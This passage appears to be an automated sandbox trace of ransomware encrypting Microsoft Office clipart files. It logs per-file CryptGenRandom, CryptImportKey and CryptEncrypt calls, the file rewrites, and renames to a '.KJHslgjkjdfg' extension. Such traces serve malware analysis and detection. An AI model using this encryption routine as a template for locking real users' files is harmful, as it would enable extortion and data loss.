(HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.723] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.723] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.723] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.726] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.726] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.726] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.726] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.726] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.726] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.727] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x27d0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x27d0, lpOverlapped=0x0) returned 1 [0191.728] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27d0, dwBufLen=0x27d0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x27d0) returned 1 [0191.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.728] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x27d0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x27d0, lpOverlapped=0x0) returned 1 [0191.728] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.728] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x28a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.728] SetEndOfFile (hFile=0x130) returned 1 [0191.731] GetProcessHeap () returned 0x990000 [0191.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.731] GetProcessHeap () returned 0x990000 [0191.731] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.731] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099169.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099169.wmf.kjhslgjkjdfg")) returned 1 [0191.732] CloseHandle (hObject=0x130) returned 1 [0191.732] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099170.WMF", cAlternateFileName="")) returned 1 [0191.732] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.733] GetProcessHeap () returned 0x990000 [0191.733] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.733] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.733] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.733] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0191.735] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.735] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.735] GetProcessHeap () returned 0x990000 [0191.735] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.735] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.735] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.735] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.735] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.736] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.736] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.736] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.736] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.736] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.736] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.736] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5ee4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5ee4, lpOverlapped=0x0) returned 1 [0191.737] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5ef0, dwBufLen=0x5ef0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5ef0) returned 1 [0191.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.738] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5ef0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5ef0, lpOverlapped=0x0) returned 1 [0191.738] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.738] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.738] SetEndOfFile (hFile=0x130) returned 1 [0191.740] GetProcessHeap () returned 0x990000 [0191.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.740] GetProcessHeap () returned 0x990000 [0191.740] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.740] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099170.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099170.wmf.kjhslgjkjdfg")) returned 1 [0191.741] CloseHandle (hObject=0x130) returned 1 [0191.741] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2232, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099171.WMF", cAlternateFileName="")) returned 1 [0191.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.742] GetProcessHeap () returned 0x990000 [0191.742] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.742] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.742] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.742] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0191.749] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.749] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.749] GetProcessHeap () returned 0x990000 [0191.749] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.749] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.749] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.749] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.750] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.750] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.750] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.750] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.750] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.750] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.750] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2232, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2232, lpOverlapped=0x0) returned 1 [0191.751] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2240, dwBufLen=0x2240 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2240) returned 1 [0191.751] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.751] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2240, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2240, lpOverlapped=0x0) returned 1 [0191.752] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.752] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.752] SetEndOfFile (hFile=0x130) returned 1 [0191.753] GetProcessHeap () returned 0x990000 [0191.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.753] GetProcessHeap () returned 0x990000 [0191.753] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.753] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099171.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099171.wmf.kjhslgjkjdfg")) returned 1 [0191.754] CloseHandle (hObject=0x130) returned 1 [0191.755] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe392, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099172.WMF", cAlternateFileName="")) returned 1 [0191.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.756] GetProcessHeap () returned 0x990000 [0191.756] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.756] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.756] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.756] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xe, lpOverlapped=0x0) returned 1 [0191.758] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.758] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.758] GetProcessHeap () returned 0x990000 [0191.758] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.759] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.759] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.759] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.759] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.759] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.759] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0191.759] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.759] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.759] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.759] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe392, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe392, lpOverlapped=0x0) returned 1 [0191.761] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe3a0, dwBufLen=0xe3a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe3a0) returned 1 [0191.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.762] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe3a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe3a0, lpOverlapped=0x0) returned 1 [0191.762] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.762] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0191.762] SetEndOfFile (hFile=0x130) returned 1 [0191.765] GetProcessHeap () returned 0x990000 [0191.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0191.765] GetProcessHeap () returned 0x990000 [0191.765] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0191.766] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099172.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099172.wmf.kjhslgjkjdfg")) returned 1 [0191.767] CloseHandle (hObject=0x130) returned 1 [0191.767] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9114, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0099173.WMF", cAlternateFileName="")) returned 1 [0191.767] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099173.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099173.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0191.767] GetProcessHeap () returned 0x990000 [0191.767] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0191.767] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0191.767] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0191.768] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0191.770] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0191.770] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0191.770] GetProcessHeap () returned 0x990000 [0191.770] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0191.770] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0191.770] CryptDestroyKey (hKey=0x9b6628) returned 1 [0191.770] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0191.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0191.770] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0191.770] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0191.770] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0191.770] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, 